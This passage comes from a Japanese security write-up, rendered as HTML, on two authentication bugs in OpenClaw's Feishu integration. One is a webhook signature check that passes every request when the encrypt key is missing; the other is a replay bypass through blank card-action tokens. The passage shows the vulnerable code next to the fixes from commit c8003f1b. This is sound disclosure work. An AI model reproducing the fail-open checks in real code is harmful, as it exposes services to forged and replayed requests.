&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;encryptKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;encryptKey&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;encryptKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// &amp;larr; BUG: missing key = auth passes for all requests&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;timestampHeader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"x-lark-request-timestamp"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;nonceHeader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"x-lark-request-nonce"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signatureHeader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"x-lark-signature"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;timestamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;timestampHeader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;timestampHeader&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;timestampHeader&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;nonce&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;nonceHeader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;nonceHeader&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;nonceHeader&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signatureHeader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signatureHeader&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signatureHeader&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;timestamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;nonce&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;computedSignature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;timestamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;nonce&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;encryptKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;rawBody&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"hex"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;safeEqualSecret&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;computedSignature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;encryptKey&lt;/code&gt;が&lt;code&gt;undefined&lt;/code&gt;、&lt;code&gt;null&lt;/code&gt;、または空白のみの文字列である場合、&lt;code&gt;params.encryptKey?.trim()&lt;/code&gt;は&lt;code&gt;""&lt;/code&gt;（空文字列）と評価され、これはfalsyです。この関数は&lt;code&gt;x-lark-signature&lt;/code&gt;ヘッダーを一切確認することなく、ただちに&lt;code&gt;true&lt;/code&gt;を返します。つまり&lt;strong&gt;認証が通過&lt;/strong&gt;します。署名の有無にかかわらず、あらゆるPOSTリクエストが受け入れられます。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;monitorWebhook()&lt;/code&gt;関数（HTTPサーバーの起動コード）は、リスナーを開始する前に&lt;code&gt;encryptKey&lt;/code&gt;が構成されていることを強制していませんでした。つまりOpenClawは、署名鍵がないままWebhookポートを平然と開き、すべてのトラフィックを受け入れてしまうということです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修正後のコード&lt;/strong&gt;（&lt;code&gt;c8003f1b&lt;/code&gt;）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Runtime guard added at server startup&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;encryptKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;account&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;encryptKey&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;encryptKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`Feishu account "&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;accountId&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;" webhook mode requires encryptKey`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Validator changed to fail-closed&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;isFeishuWebhookSignatureValid&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;encryptKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;encryptKey&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;encryptKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// &amp;larr; FIX: missing key = request rejected&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// ... HMAC check continues&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="バグ2:カードアクションのリプレイバイパス(card-action.ts)"&gt;バグ2：カードアクションのリプレイバイパス（&lt;code&gt;card-action.ts&lt;/code&gt;）&lt;/h3&gt;
&lt;p&gt;Feishuのカードアクションイベントは、OpenClawがボタンのクリックを重複排除し、リプレイ攻撃を防ぐために使用するワンタイムトークンを保持しています。このトークンは初回使用時に&lt;code&gt;processedCardActionTokens&lt;/code&gt;マップに記録され、以降の試行では拒否されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脆弱なコード&lt;/strong&gt;（&lt;code&gt;extensions/feishu/src/card-action.ts&lt;/code&gt;、&lt;code&gt;c8003f1b&lt;/code&gt;より前）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;beginFeishuCardActionToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;accountId&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;now?&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;??&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;pruneProcessedCardActionTokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;normalizedToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;normalizedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// &amp;larr; BUG: blank token always "claims" successfully&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;accountId&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;:&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;normalizedToken&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;existing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;processedCardActionTokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;existing&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;existing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;expiresAt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// duplicate &amp;mdash; reject&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;processedCardActionTokens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"inflight"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;expiresAt&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;FEISHU_CARD_ACTION_TOKEN_TTL_MS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;token&lt;/code&gt;が空文字列の場合、&lt;code&gt;normalizedToken&lt;/code&gt;は&lt;code&gt;""&lt;/code&gt;になります。この関数は&lt;code&gt;true&lt;/code&gt;（「取得に成功、処理を続行」の意味）を返しますが、空白のトークンを&lt;code&gt;processedCardActionTokens&lt;/code&gt;に&lt;strong&gt;一切保存しません&lt;/strong&gt;。空白のトークンを伴う以降の呼び出しは、いずれも同じ空のマップの状態を参照し、再び&lt;code&gt;true&lt;/code&gt;を返してイベントをディスパッチします。これが際限なく続きます。&lt;/p&gt;
&lt;p&gt;さらに、&lt;code&gt;decodeFeishuCardAction()&lt;/code&gt;の前に早期ガードが存在しなかったため、トークンチェックが発動する前にカードアクションの処理パイプライン全体が実行されていました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;修正後のコード&lt;/strong&gt;（&lt;code&gt;c8003f1b&lt;/code&gt;）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Early guard added before decode&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;handleFeishuCardAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`feishu[&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;account&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;accountId&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;]: rejected card action from &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;operator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;open_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;: missing token`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
